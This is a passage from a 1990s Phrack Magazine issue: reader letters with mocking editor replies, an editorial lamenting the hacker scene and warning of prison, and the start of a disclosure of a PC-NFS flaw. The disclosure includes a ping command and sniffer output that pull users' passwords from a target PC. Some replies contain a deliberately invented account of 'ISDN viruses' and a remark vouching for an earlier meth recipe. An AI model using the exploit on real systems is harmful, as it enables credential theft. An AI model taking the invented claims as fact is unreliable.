Shipley, se7en, (ayoung, where's your piglet account?). Get a fucking life.
|
||
Maybe instead of contstantly going around "Searching for intelligent life"
|
||
perhaps you should stay home and secure your own systems. You are all owned,
|
||
now don't you feel stupid? You should. You are.
|
||
|
||
DIS.ORG == DISORGANIZED.
|
||
|
||
-- galf@upt
|
||
|
||
[ This is almost funny.
|
||
|
||
Notice I said, almost.
|
||
|
||
You have to admit though, Shipley always comes with some damn fine
|
||
women in tow. Oh the things I did in my mind to that blonde...
|
||
|
||
Something tells me that the author of this forged message could use a lot
|
||
of Shipley hand-me-downs: Women, contracts, references, etc... ]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
Hey, I just watched the movie Hackers, and I was just curious to know if They
|
||
used you and the LOD to models the characters in the movie after? Alot of the
|
||
handles, and choice phrases they used sounded awfully Farmiliar with what
|
||
went on, or at least what the book said went on.
|
||
|
||
Meds:}
|
||
|
||
[ Actually, meds, the screenwriter hung around with "MOD" and other people from
|
||
the New York hack scene and picked up some pointers, and then used
|
||
people like Dead Lord and Emmanuel Goldstein as technical assistants.
|
||
|
||
Or something like that.
|
||
|
||
Please, don't ever associate "LOD" with this piece of shit again. :) ]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
A lot of people have read the article about Joe Engressia and his time in
|
||
Memphis where he was arrested by the police and banned from his dream of
|
||
working on phone lines. Well, at the time when he was living on Union
|
||
avenue, my mother was in charge of payroll, hiring and the like at a local
|
||
switchboard. This was back in 1972 when the phone system was less of the
|
||
fuqup it is today. Well, a friend of my mother's taught Mr. Engressia how to
|
||
cook and other related houshold things despite his handicap. Shortly after
|
||
or before this, (I am unsure) he was arrested by the police. I think this
|
||
was also about the time the interview was made. Anyway, the local phone
|
||
companies would not touch him, not even to give him service. My mother,
|
||
after talking with him decided to hire him as a phone consultant. (Her
|
||
opinion of his was that "He was so brilliant, it was scary, I mean REALLY
|
||
scary.") She though he was a great "kid" (22 at the time) and was the best
|
||
consultant that they had. He worked there for three years before moving.
|
||
|
||
The last my mother heard was that he was living in a Denver high rise
|
||
working as a consultant to a corporation or something out there. I only just
|
||
started talking with my parents about this today, but I am sure that they
|
||
will tell me more of him.
|
||
|
||
Oh, and my father was good friends of Joe too, he and Joe were Ham Radio
|
||
operators here in Memphis and my father still phreaks on them so I am sure
|
||
that Mr. Engressia does too. Anyway, my father is teaching me how to hack,
|
||
and my mother is teaching me how to phreak, but she only knows a little of
|
||
outdated info and wants to get in touch with Joe. If anyone, ANYONE has any
|
||
information about Joe, or if somehow this article gets to Joe, please let me
|
||
know at the following e-mail address:
|
||
Kormed@aol.com.
|
||
|
||
|
||
[ We used to call Joe on conferences a long time ago. I could probably
|
||
dig his contact information up, but I really doubt he'd appreciate his
|
||
number being published in Phrack.
|
||
|
||
Hell, if your parents are teaching you how to hack & phreak, then certainly
|
||
they can find Joe. He was always listed in Directory Assistance when
|
||
we tracked him down years back.
|
||
|
||
Have you even really looked for him? ]
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
quick question For Bloodaxe.
|
||
|
||
Ok, I know you probably get this Alot,but I just have to ask?...
|
||
|
||
Did you Really Date Christina Applegate?
|
||
|
||
had to ask,
|
||
|
||
[ Man, now that is a rumor that I would love to have started myself.
|
||
No. Never dated her, never met her, never talked to her, never
|
||
had any contact whatsoever. Spent some time holding up some of her
|
||
posters with one hand, but that's about it. ]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
do you have any info on stealing magic cookies ??
|
||
|
||
|
||
[ No, but I can trade you these magic beans for your cow. If you plant
|
||
them they will grow high into the sky, towards the castle in the clouds
|
||
where the giant lives with the talking harp and the goose that lays the
|
||
golden eggs.
|
||
|
||
Go read some of the WWW Security Lists, if you're talking about what
|
||
I think you are. There are also javascript routines that collect
|
||
navigator cookies from clients hitting your page. After briefly looking
|
||
around, I can't find the specific sites to snarf them from. Go do a
|
||
webcrawler search for WWW security or javascript security. ]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
Dear Phracks - I'm a Free Journalist from Germany and I'm going to write
|
||
an articel about ISDN and the possible danger which might happen to a
|
||
company etc. getting hacked by some agnets, spies etc. from other
|
||
countries. So I'm looking for indos about ISDN-Viruses, Hackers and
|
||
background infos.
|
||
|
||
Can you help me?
|
||
|
||
[ Wow, a "Free Journalist." I thought that pesky national socialist party
|
||
imprisoned all you guys.
|
||
|
||
ISDN Viruses are quite possibly the worst thing to happen to computing
|
||
since the creation of the Cellular Trojan Horse. Basically, these viruses
|
||
travel over the wires using the X.224 transport protocol, and seize the
|
||
D channel using Q.931. All SS7 data sent over the D channel is quickly
|
||
compromized and re-routed to different signal transfer points, causing
|
||
massive ANI Failure over the entire routing mesh.
|
||
|
||
Rumor has it that the Internet Liberation Front was behind these viruses
|
||
with heavy investement coming from the German Bundesnachrichtendienst's
|
||
Project Rahab. These hackers were paid with AT&T calling cards encoded
|
||
with a polymorphic encryption scheme, and cocaine.
|
||
|
||
You can quote me on this. ]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
Well, i wanna make an offer, and a nice deal.
|
||
i am n editor in an H/P/C magazine of HFA ( universal H/P/C
|
||
group..)
|
||
well, what i wanna offer is a joining both of the papers
|
||
2gether, OR! u want more subscribes, we'll publish ya,
|
||
but adding 1 article from ya'r paper, saying from where it is.
|
||
so, if we can make this deal, contact me asap!
|
||
10x.
|
||
|
||
[ Let me see if I understand this, your "universal H/P/C group" has
|
||
a magazine, and wants to do "Phrack" the great honor of merging
|
||
with us, or printing our articles? Wow. What a deal. You mean
|
||
by linking up with you guys, we will hit a greater audience
|
||
"universally?"
|
||
|
||
So, merging our roughly 10,000 direct email subscribers, and a roughly
|
||
75,000 more WWW or misc. readers, adding in your readers, that should
|
||
bring us up to 85,001 readers! Universally! FAN-FUCKING-TASTIC!
|
||
|
||
Are there so many rocks for you people to crawl out from under?
|
||
Sheesh! ]
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
Hello,
|
||
|
||
|
||
I have a need for a network sniffer. Specifically, one that will
|
||
sniff IEEE-802.3 packets and TCP/IP packets. Any leads?
|
||
|
||
|
||
[ Well, gee, are there network sniffers that won't?
|
||
|
||
Go do an archie search for tcpdump. ]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
I was just strolling by you page: http://freeside.com/phrack.html,
|
||
and found my link "Showgirl Video" (link to vegaslive.com).
|
||
|
||
I am the creator and webmaster for the site. If I can ever be
|
||
of assistance to you let me know.
|
||
|
||
We are one of the few sites in the world that has a live stage and
|
||
live 1 on 1 conferencing in one place.
|
||
|
||
john...
|
||
|
||
[ Ya know, every time I'm in Vegas I make it out to Showgirl Video with
|
||
a bucket of quarters and a healthy dose of bad intent. I have to
|
||
congratulate you guys for going on-line. I love it when two of
|
||
my favorite things come together (smut and computers).
|
||
|
||
Unfortunately, The Vegaslive site is kind of pricey. You guys seriously
|
||
need a flat fee. I suggest you look at a SUPURB site:
|
||
http://www.peepshow.com
|
||
|
||
That place has a flat fee, all you can eat pricing structure, the way
|
||
God meant it to be. Take note, and follow suit. ]
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
I have a Mitsubishi MT9 (MT-1097FOR6A) ..I program the NAM with the
|
||
passw: 2697435 ...I need the passw to have access to SCAN or TAC
|
||
function ...please, help me!
|
||
|
||
Thank
|
||
Regards
|
||
|
||
[NCG]
|
||
|
||
[ I'm not familiar with that phone, but I'd start off looking through
|
||
Dr. Who's archive of cellular info at:
|
||
|
||
http://www.l0pht.com/radiophone
|
||
|
||
If what you are looking for isn't there, there might be a link to
|
||
somewhere that has it. ]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
my name is azreal! I am also known as the angel of death. why did you sell
|
||
out to the feds back when you running comsec. i think phiber optick was a
|
||
great guy and i would have been glad to work with a legend. do you know his
|
||
e-mail adress
|
||
azreal
|
||
|
||
[ Azrael? The Angel of Death? I thought Azrael was Gargamel's annoying cat.
|
||
|
||
But to answer your question, I sold out to the man ages ago for money.
|
||
Pure and simple. Once you hit puberty, you might have a need for cash.
|
||
Once mommie sends you off to college, you might need it even more. And
|
||
in the distant future, when you get out on your own, you will really
|
||
know.
|
||
|
||
Yes, phiber is swell. There have been good pictures of him in many
|
||
national magazines. Try not to get the pages stuck together.
|
||
|
||
And, yes, I do know his email address. Thanks for asking! ]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
From: prodigy.com (MR MARK P DOLESH)
|
||
|
||
How do you hack?
|
||
|
||
[ Very carefully. ]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
Did you ever write a edition that deals with breaking the screensavers
|
||
code? If so which one? How about breking the Win95 password. You know
|
||
the one that allows you into Win95?
|
||
|
||
[ We pass all articles about breaking Windows Screen Savers on to
|
||
the more technical forum at 2600 magazine.
|
||
|
||
To disable the Win95 password, install Linux. ]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
A phriend of mine showed me your sight a few days ago at his house...I
|
||
thought it was pretty cool. I dloaded a few issues and stuff to check
|
||
out...I haven't been on the internet to long so I'm still trying to phined
|
||
more stuff that interest me, and I would like to set up my own page like
|
||
that but my account is thru the school...Is there anyway around that? So
|
||
it can be like border line legal? How underground can one go??? If you
|
||
still have the file on where the line is please send them...Thanks.
|
||
|
||
[ Your account is through your school, but you are looking for a way around
|
||
that? Hmmm...let me see. I'm just going to throw out something wild
|
||
and crazy, but, what the hell: Maybe, get another account through
|
||
another Internet provider? I know, it's just too outlandish. Forgive
|
||
me for being so zany.
|
||
|
||
How underground can you really go? I used to have that file you are looking
|
||
for, but I was so underground at the time, it got soiled with mud and
|
||
disintegrated, eventually polluting the water table, and was ultimately
|
||
drank by the city of Pasadena, Texas. ]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
In regards to volume one ,issue four , Phile #8 of 11 ...
|
||
This shit has got to be a joke , I tryed to make some and
|
||
Was a great dissapointment ????
|
||
|
||
[ The meth recipe works just fine. Obviously you DIDN'T try to make it.
|
||
If you feel like a REAL MORON, look at the cat recipe in the line noise
|
||
section of this issue. Stay up for a week, go into deep amphetamine
|
||
psychosis and die! Woo Woo! ]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
I ve tried to locate these guys who have Black book for cracking
|
||
passwords in major software and some games as well.They go by the Names
|
||
of Jolly Reaper and Maugan Ra aka Manix.Iam doc X from London (not a
|
||
pig!!!) if U happpen to know these doodez let us know.TA from GB
|
||
|
||
[ Perhaps you have Phrack confused with something having to do with
|
||
pirated software. I'd ask that question in a posting to the USENET
|
||
group alt.warez or on the IRC #warez channels. ]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
Eric,
|
||
i have been searching the internet for some kind of script that
|
||
will subscribe a certain email address to a shitload of
|
||
mailing lists...i have heard of such a thing.
|
||
what im lacking is that keyword to search for such as:
|
||
|
||
bombard
|
||
attack
|
||
flash
|
||
|
||
what is the technical term for this kind of attack?
|
||
or better yet, do you know where to get a hold of such a script.
|
||
im not familiar with mailing lists and id rather not spend the time
|
||
researching the topic...but i need vengeance quickly :-)
|
||
|
||
any help appreciated,
|
||
-roger
|
||
|
||
[ The name for this type of attack? Uh, an email bomb?
|
||
|
||
But let's take a closer look at your mail:
|
||
|
||
"id rather not spend the time researching the topic...but I need vengeance
|
||
quickly"
|
||
|
||
I'm not going to be your fucking research assistant, or your accomplice.
|
||
If you can't figure out how to look through our back issues to find any of
|
||
the tons of fake mailers we've printed, or figure out how to automate them
|
||
using shell script, then you don't deserve to live, much less
|
||
get your speedy vengeance.
|
||
|
||
Couldn't you even come up with a NON-LAME way to get back at someone? Hell,
|
||
even rewriting their .login to say "exit" or something silly like that is
|
||
more clever, and less cliche, than flooding their inbox. ]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
The art of " information manipulation " has possessed my virgin soul ! I
|
||
turned into a fuckin' 2-year old (drool and all) when experiencing the free
|
||
local call system involving a paperclip . All I've been thinking is hack,
|
||
haCK, HACK ! I'm still drenched behind the ears but I'm a patient, turbo
|
||
learner (whatever the hell that means) !
|
||
|
||
Here's the problem: I possess some info that could make you smile so
|
||
big, that your sphinctor would unwrinkle. I would like to experiment, if you
|
||
will . Perhaps, dabble with this stuff , but I am very uneducated in raping
|
||
mainframes. This could be a major wood producer
|
||
because my EX works at this establishment .
|
||
|
||
I need a trustworthy pro who possesses a plethora of tasty tactics . Whic
|
||
h way to the Dagobah System.....I seek YODA !!
|
||
|
||
[ Drooling 2-year old.
|
||
|
||
Very uneducated in raping mainframes.
|
||
|
||
Major wood producer.
|
||
|
||
Well, gee, I'm sure your info would make my "sphinctor" unwrinkle, but I'm
|
||
wearing a new pair of jeans, so I guess I'll have to take a rain check.
|
||
|
||
God bless AOL for bringing the internet to the masses! ]
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
i want to be added to your list. and could you send me unziped hacking
|
||
software or can you tell me how to unzip softwarre nd a beginners guide
|
||
to hacking. i would appreciate it i want to begin fun new field of
|
||
hacking thank you
|
||
|
||
[ You want to learn all about hacking, but you don't know how to unzip
|
||
files?
|
||
|
||
Crawl before you run, Kwai Chang. ]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
VA'CH CO' TAI
|
||
|
||
Anh Ta'm ddi du li.ch xa, ngu? ta.i mo^.t kha'ch sa.n. DDa~ ma^'y
|
||
tie^'ng ddo^`ng ho^` ro^`i anh ngu? kho^ng ddu*o*.c vi` tie^'ng cu*o*`i
|
||
no'i huye^n na'o tu*` pho`ng be^n ca.nh vo.ng sang. Ro~ ra`ng la` ho.
|
||
ddang dda'nh ba`i, sa't pha.t nhau a(n thua lo*'n.
|
||
|
||
Ra'ng nhi.n cho to*'i 3 gio*` sa'ng va^~n cu*' tra(`n tro.c hoa`i, anh
|
||
Ta'm chi.u he^'t no^?i, be`n go~ nhe. va`o va'ch dde^? nha('c khe'o
|
||
pho`ng be^n ca.nh.
|
||
|
||
Anh Ta'm vu*`a go~ xong la^.p tu*'c anh nghe mo^.t gio.ng tenor he't le^n
|
||
tu*` pho`ng be^n:
|
||
|
||
- Tro*`i o*i! Co' bie^'t ba^y gio*` la` ma^'y gio*` sa'ng ro^`i
|
||
kho^ng? O*? ddo' ma` ddo'ng ddinh treo hi`nh!
|
||
|
||
- ?!?!?
|
||
|
||
[Uh, let's see...No Boom Boom with soul brother. Soul Brother too beaucoup.
|
||
|
||
Ddi Ma'o.]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
Hola me gustaria tener mucha informacion de lo que ustedes hacen sobre
|
||
todo de como lo hacen. Es decir que me manden informacion de los secretos
|
||
de los sistemas operativos de internet de todo lo que me puedan mandar.
|
||
yo soy universitario, y me gusta todo lo relacionado con redes.
|
||
|
||
Muchos saludos.
|
||
Contestenme.
|
||
|
||
|
||
[ What is this, International Day?
|
||
|
||
!Si quieras mucha informacion, LEA MUCHOS LIBROS! !DIOS MIO! !No estoy
|
||
el maestro del mundo! Ehehe, esta fue solomente una chiste. No esta
|
||
nunca libros en espanol sobre <<computer security>>. Que lastima.
|
||
|
||
If you want to learn, start with english...then go buy the entire O'Reilly
|
||
Yellow series and Blue series. That will get you started learning
|
||
"los secretos de los sistemas operativos de internet." ]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
From: "Erik K. Escobar"
|
||
Subject: Apology
|
||
|
||
This letter is to be forwared to the newsgroup io.general by madmagic, in
|
||
care of Mr. Escobar.
|
||
|
||
I would like to send a public apology to Internex Online for the
|
||
treatment I have given the staff and users of this system. I threw
|
||
around some threats and words that can incriminate me, and realized that
|
||
it was a stupid idea on my behalf. In the last week or so with the
|
||
negative attention I have gotten, I got to know the IO/ICAN staff a bit
|
||
better and everything in good standing. Me and Internex Online are now
|
||
even and there will be no retaliation or sour words from me. I just want
|
||
everything to go back to the norm.
|
||
|
||
Erik
|
||
|
||
[ * AND THEN * ]
|
||
|
||
|
||
From: "Erik K. Escobar"
|
||
Subject: Shit
|
||
|
||
As my understanding, A letter of apology under my name was redistributed
|
||
around within my mailing list and whatever. As some of you know, myself
|
||
and Zencor have been having problems with Internex in the past and near
|
||
the middle of this week, I got into a large battle with was ACC, ICAN,
|
||
and Internex Online -vs- Me. It is stupid to get into an argument with
|
||
that many corporations, and a few words and threats were thrown, they
|
||
locked my account. I wrote a letter in response of that and they
|
||
proceded to lock other Zencor staff accounts and hack our web site. Also
|
||
they posted the letter in the news groups and whatever. They eventually
|
||
decided to charge me and whatever, and to save me time outta the courts
|
||
and crap like that I made an apology for the threats, seeing that they
|
||
could incriminate me. Internex has done wrong and I probably won't be
|
||
seeing alot of apologies coming my way. If they didn't have certain info
|
||
about me..they could have me very well laughing at them but that is not
|
||
the case.
|
||
|
||
Erik
|
||
Lord Kaotik
|
||
[ ZENC0R TECHN0L0GIES ]
|
||
|
||
|
||
[ Can you say, LAME? ]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
Been trying to locate for some time the file, plusmap.txt that used to be on
|
||
the phrack bbs (716-871-1915). This file outlined information regarding the
|
||
videopal in the videocipher II plus satellite decoder module. Any idea where
|
||
I might find this file?
|
||
|
||
|
||
[ I didn't know there was a "phrack" bbs. <Sigh>
|
||
|
||
In any case, I would look for information regarding this on the following
|
||
sites:
|
||
|
||
http://www.scramblingnews.com
|
||
http://www.hackerscatalog.com
|
||
http://ireland.iol.ie/~kooltek/welcome.html
|
||
|
||
Satellite Watch BBS : 517-685-2451
|
||
|
||
This ought to get you in the right direction. ]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
Hi,
|
||
|
||
Just a quick note to tell you about the Hawaii Education Literacy Project -
|
||
a non-profit organization - and our efforts to promote literacy by making
|
||
electronic text easier and more enjoyable to read. Given that we're both in
|
||
the reading biz, I thought you might be interested.
|
||
|
||
ReadToMe, our first program, reads aloud any form of electronic text,
|
||
including Web pages, and is free to anyone who wishes to use it.
|
||
|
||
The "Web Designers" section of our home page tells you how your pages can
|
||
literally speak to your audience. Actually, all you need to do to make your
|
||
pages audible is to add the following html code:
|
||
|
||
<P><A HREF="http://www.pixi.com/~reader1/readweb.bok">Hear
|
||
This Page!</A> Requires ReadToMe Software... Don't got it? <A
|
||
HREF="http://www.pixi.com/~reader1">GET IT FREE!</A>
|
||
</P>
|
||
|
||
A beta test version of the program can be obtained from
|
||
http://www.pixi.com/~reader1. I encourage you and your readers to download
|
||
a copy and take it for a spin.
|
||
|
||
Thank you for your time,
|
||
|
||
Rob Hanson
|
||
rhanson@freeway.net
|
||
Hawaii Education Literacy Project
|
||
|
||
|
||
[ Honestly, I don't know if this is a spam to a list of magazine people, or
|
||
really a phrack reader. I have this thing about jumk email, and the joy of
|
||
offering that info to our thousands of bored hacker readers looking for
|
||
an excuse to fuck with some system.
|
||
|
||
I'll let them decide if this was a spam. Thanks, Rob. ]
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
********************************
|
||
SYNTHETIC PLEASURES opens in the US theaters
|
||
********************************
|
||
save the date, spread the word. forgive us if you got this before.
|
||
|
||
-----------------------------------------------------------------------
|
||
eerily memorable is SYNTHETIC PLEASURES, a trippy, provocative tour through
|
||
the perfectly artificial worlds of cyberspace, plastic surgery,
|
||
mind-altering chemicals and controlled, man-made environments that
|
||
questions whether the natural world is redundant, or even necessary. those
|
||
who see it will want to pinch themselves when it's over.
|
||
(janet maslin- The New York Times)
|
||
------------------------------------------------------------------------
|
||
|
||
for further info contact:
|
||
caipirinha@caipirinha.com
|
||
http://www.syntheticpleasures.com
|
||
|
||
first opening dates:
|
||
|
||
Aug 29 Los Angeles, CA- Nuart Theatre
|
||
Aug 30 San Francisco, CA- Castro Theatre
|
||
Aug 30 Berkeley, CA- UC Theatre
|
||
Aug 30 San Jose, CA- Towne Theatre
|
||
Aug 30 Palo Alto, CA- Aquarius Theatre
|
||
Aug 30 Portland, OR- Cinema 21
|
||
Sept 13 San Diego, CA- Ken Theatre
|
||
Sept 13 NYC, NY- Cinema Village
|
||
Sept 13 NYC, NY- City Cinemas
|
||
Sept 13 Larkspur, CA- Larkspur Theatre
|
||
Sept 20 Boston, MA- Kendall Square Theater
|
||
Sept 20 Cleveland, OH- Cedar Lee
|
||
Sept 20 Philadelphia, PA- Ritz
|
||
Sept 22 Vorheess, NJ- Ritz 12
|
||
Sept 27 Austin, TX- Dobie Theater
|
||
Sept 27 New Haven, CT- York Theatre
|
||
Sept 27 Pittsburgh,PA- Rex
|
||
Oct 4 Washington, DC- Key Cinema
|
||
Oct 11 Providence, RI- Avon Theater
|
||
Oct 11 Kansas City, MO- Tivoli
|
||
Oct 11 Baltimore,MD - Charles Theatre
|
||
Oct 18 Waterville MA- Railroad Square
|
||
Oct 18 Durham,NC - Carolina Theater
|
||
Oct 18 Raleigh, NC - Colony Theater
|
||
Oct 18 Chapel Hill,NC -The Chelsea Theatre
|
||
Oct 25 Seattle, WA- Varsity
|
||
Nov 8 Ft Lauderdale FL- Fox Sunrise
|
||
Nov 15 Gainesville,FL - Plaza Theater
|
||
Nov 16 Hanover, NH- Dartmouth Theater
|
||
Nov 22 Miami, FL- Alliance
|
||
Nov 25,29,30 Tampa FL - Tampa Theatre
|
||
Dec 13 Chicago, IL - Music Box
|
||
|
||
|
||
[ THIS WAS DEFINATELY A SPAM.
|
||
|
||
I wonder what lovely cgi-bin holes that WWW site is sporting.
|
||
|
||
But wait, maybe they just want some k-rad cyber-press like
|
||
MGM got for the "Hackers" WWW page. Oh man, what a dilemma.
|
||
To hack, or not to hack. Assholes. ]
|
||
|
||
|
||
-----------------------------------------------------------------------------
|
||
|
||
|
||
==Phrack Magazine==
|
||
|
||
Volume Seven, Issue Forty-Eight, File 2a of 18
|
||
|
||
Phrack Editorial
|
||
by
|
||
Erik Bloodaxe
|
||
|
||
|
||
This may very well be my last Phrack editorial, since I'm no longer going to
|
||
fill the day-to-day role of editor, so I figure I ought to close out my
|
||
crusade to piss everyone off.
|
||
|
||
I don't like most of you people. The hacking subculture has become a
|
||
mockery of its past self. People might argue that the community has
|
||
"evolved" or "grown" somehow, but that is utter crap. The community
|
||
has degenerated. It has become a media-fueled farce. The act of intellectual
|
||
discovery that hacking once represented has now been replaced by one of
|
||
greed, self-aggrandization and misplaced post-adolescent angst.
|
||
|
||
DefCon IV epitomized this change in such amazing detail, that I can only hope
|
||
to find words to describe it adequately. Imagine the bastard offspring
|
||
of Lollapalooza and a Star Trek convention. Imagine 300+ people out of their
|
||
homes, and away from Mother's watchful eye for the first time in their
|
||
pathetic lives. Imagine those same people with the ego of Rush Limbaugh and
|
||
the social skills of Jeffrey Dahmer, armed with laptops loaded with programs
|
||
they can't use, and talking at length to reporters about techniques they
|
||
don't understand. Welcome to DefCon.
|
||
|
||
If I were to judge the health of the community by the turnout of this
|
||
conference, my prognosis would be "terminally ill."
|
||
|
||
It would seem that "hacking" has become the next logical step for many people
|
||
looking for an outlet to strike back at "something." "Well, gee, I've already
|
||
pierced every available piece of skin on my body and dyed my hair blue...what
|
||
on earth can I do now to shock my parents? I know! I'll break some federal
|
||
laws, and maybe get my name in the paper! THAT WOULD BE COOL! It'll be
|
||
just like that movie!"
|
||
|
||
I hate to burst everyone's bubble, but you are so fucked up.
|
||
|
||
In this day and age, you really don't have to do anything illegal to be
|
||
a hacker. It is well within the reach of everyone to learn more, and use
|
||
more powerful computers legally than any of us from the late 70's and early
|
||
80's ever dreamed. Way back then, it was ALL about learning how to use these
|
||
crazy things called computers. There were hundreds of different types of
|
||
systems, hundreds of different networks, and everyone was starting from ground
|
||
zero. There were no public means of access; there were no books in stores or
|
||
library shelves espousing arcane command syntaxes; there were no classes
|
||
available to the layperson. We were locked out.
|
||
|
||
Faced with these obstacles, normal, intelligent, law-abiding adolescents from
|
||
around the globe found themselves attempting to gain access to these
|
||
fascinating machines through whatever means possible. There simply was
|
||
no other way. There were no laws, and yet everyone knew it wasn't strictly
|
||
kosher behavior. This fact added a cheap rush to the actual break-in, but
|
||
the main drive was still simply to learn.
|
||
|
||
Now, with the majority of operating systems being UNIX-based, and the majority
|
||
of networks being TCP/IP-based the amount of knowledge to be gathered has
|
||
shrunk considerably. With the incredibly low prices of powerful personal
|
||
computers, and the free availablity of complex operating systems, the need
|
||
to break into remote systems in order to learn has been removed. The only
|
||
possible needs being met by remote intrusions would be a means to gather
|
||
specific information to be sold, or that base psychological rush from doing
|
||
something forbidden and getting away with it. Chasing any high only leads
|
||
to a serious crash, and in the case of breaking into computers, that
|
||
only leads to jail.
|
||
|
||
There is absolutely nothing cool about going to jail. I know too many
|
||
people who are currently in jail, who have been in jail, and some who are
|
||
on their way to jail. Trust me on this, people. You will not be
|
||
respected by anyone if you act rashly, do something careless and
|
||
end up being convicted of several felonies. In fact, all of your "friends,"
|
||
(those who didn't get busted along with you, and turn state's evidence against
|
||
you) will just think you were a moron for being so sloppy...until they also
|
||
get nailed.
|
||
|
||
Get raided and you will almost certainly spend time in jail. Even once you
|
||
are released, you will lose your passport and your ability to travel freely,
|
||
you will lose your ability to do business in classified environments, you
|
||
will become unemployable by most companies, you may even lose your rights to
|
||
use computer or networking equipment for years. Is is still worth it?
|
||
|
||
I break into computers for a living, and I love my job. However, I don't
|
||
kid myself about just how lucky I really am. Don't fool yourselves into
|
||
thinking that it was easy for me to achieve this, or that anyone else can
|
||
easily slip into such a role. Staking out a claim in the information security
|
||
industry is a continual battle for a hacker. Your past will constantly
|
||
stand in your way, especially if you try to hide it and lie to everyone.
|
||
(Read the recent Forbes ASAP article and spot the hacker from Garrison
|
||
Associates lying about his past, although he was raided for running
|
||
the Scantronics Publications BBS in San Deigo just a few short years ago.
|
||
Shame on you Kludge.)
|
||
|
||
I've never lied about anything, so that can't be held over my head. I've
|
||
never been convicted of anything either, although I came closer to jail
|
||
than hopefully any of you will ever experience. The ONLY reason I avoided
|
||
prison was the fact that law enforcement was not prepared to deal with
|
||
that type of crime. Now, I've taught many of those same law enforcement
|
||
agencies about the nature of computer crimes. They are all learning and
|
||
not making the same mistakes any more.
|
||
|
||
At the same time, the technology to protect against intrusions has increased
|
||
dramatically. Technology now exists that will not only stop attacks, but
|
||
identify the attack methodology, the location of the attacker, and take
|
||
appropriate countermeasures all in real-time. The company I work for makes it.
|
||
I've always said that anything that can stop me will stop almost anyone,
|
||
even through I'm not anywhere close to the world's best. There simply
|
||
aren't that many things to monitor, once you know what to look for.
|
||
|
||
The rewards have diminished and the risks have increased.
|
||
|
||
Hacking is not about crime. You don't need to be a criminal to be a hacker.
|
||
Hanging out with hackers doen't make you a hacker any more than hanging
|
||
out in a hospital makes you a doctor. Wearing the t-shirt doesn't
|
||
increase your intelligence or social standing. Being cool doesn't mean
|
||
treating everyone like shit, or pretending that you know more than everyone
|
||
around you.
|
||
|
||
Of course, I'm just a bitter old sell-out living in the past, so
|
||
what do I know?
|
||
|
||
Well, what I do know, is that even though I'm one of the few screaming about
|
||
how fucked up and un-fun everything has become, I'm not alone in my disgust.
|
||
There are a bunch of us who have reached the conclusion that the "scene"
|
||
is not worth supporting; that the cons are not worth attending; that the
|
||
new influx of would-be hackers is not worth mentoring. Maybe a lot of us
|
||
have finally grown up.
|
||
|
||
In response, expect a great many to suddenly disappear from the cons. We'll be
|
||
doing our own thing, drinking a few cool drinks someplace warm, and reflecting
|
||
on the collective pasts we've all drawn from, and how the lack of that
|
||
developmental stage has ruined the newer generations. So those of us
|
||
with that shared frame of reference will continue to meet, enjoy each
|
||
other's company, swap stock tips in the same breath as operating system
|
||
flaws, and dream about the future of security.
|
||
|
||
You're probably not invited.
|
||
|
||
-----------------------------------------------------------------------------
|
||
==Phrack Magazine==
|
||
|
||
Volume Seven, Issue Forty-Eight, File 3 of 18
|
||
|
||
|
||
// // /\ // ====
|
||
// // //\\ // ====
|
||
==== // // \\/ ====
|
||
|
||
/\ // // \\ // /=== ====
|
||
//\\ // // // // \=\ ====
|
||
// \\/ \\ // // ===/ ====
|
||
|
||
Part I
|
||
|
||
------------------------------------------------------------------------------
|
||
|
||
PC-NFS Bug
|
||
|
||
|
||
I have found a nice little security hole in PC-NFS version 5.x. If you
|
||
ping a PC-NFS user with a packet size of between 1450 to 1480, the
|
||
PC'<27>s ICMP reply packet will divulge:
|
||
|
||
o The hostname of the PC
|
||
o The hostname of the PC'<27>s authentication server
|
||
o The username of the person logged in
|
||
o The password for the user
|
||
(Thank you very much!)
|
||
|
||
All of this information is in clear text unless PC-NFS<46>'s NETLOGIN is
|
||
used. NETLOGIN uses XOR as its encryption, so this is hardly secure
|
||
either.
|
||
|
||
NDIS, ODI, 3C503 drivers on SMC and 3C503 cards have been tested
|
||
and all freely return the above information on both PC-NFS versions
|
||
5.0 and 5.1a. This should work with other driver/NIC configurations
|
||
also.
|
||
|
||
You get the occasional added bonus of locking up the victims PC as
|
||
well!
|
||
|
||
This bug was new to Sun and they have created a new PCNFS.SYS
|
||
driver for us. They have labeled it PC-NFS.SYS version 5.1a.DOD.
|
||
This new version fills reply ICMP packets with nulls after 200 bytes of
|
||
the requested pattern.
|
||
|
||
Until you receive this patch from Sun, I would recommend setting all
|
||
external router interface MTU to a value of no greater than 1350 as this
|
||
is point where secrets are contained in the return packet.
|
||
|
||
The Unix command to generate the below results is as follows:
|
||
|
||
ping -s -c1 pchost.victim.com 1480
|
||
|
||
Use your favorite sniffer to filter ICMP packets and you have it. If you
|
||
don'<27>t have a sniffer, try the -v(erbose) option of ping and convert the
|
||
hex to ascii starting around byte 1382.
|
||
|
||
Sniffer output follows:
|
||
|
||
19:03:48.81
|
||
ip: evil.com->pchost.victim.com
|
||
icmp: echo request
|
||
62: 024 025 026 027 030 031 032 033 034 035
|
||
72: 036 037 ! " # $ % & '
|
||
82: ( ) * + , - . / 0 1
|
||
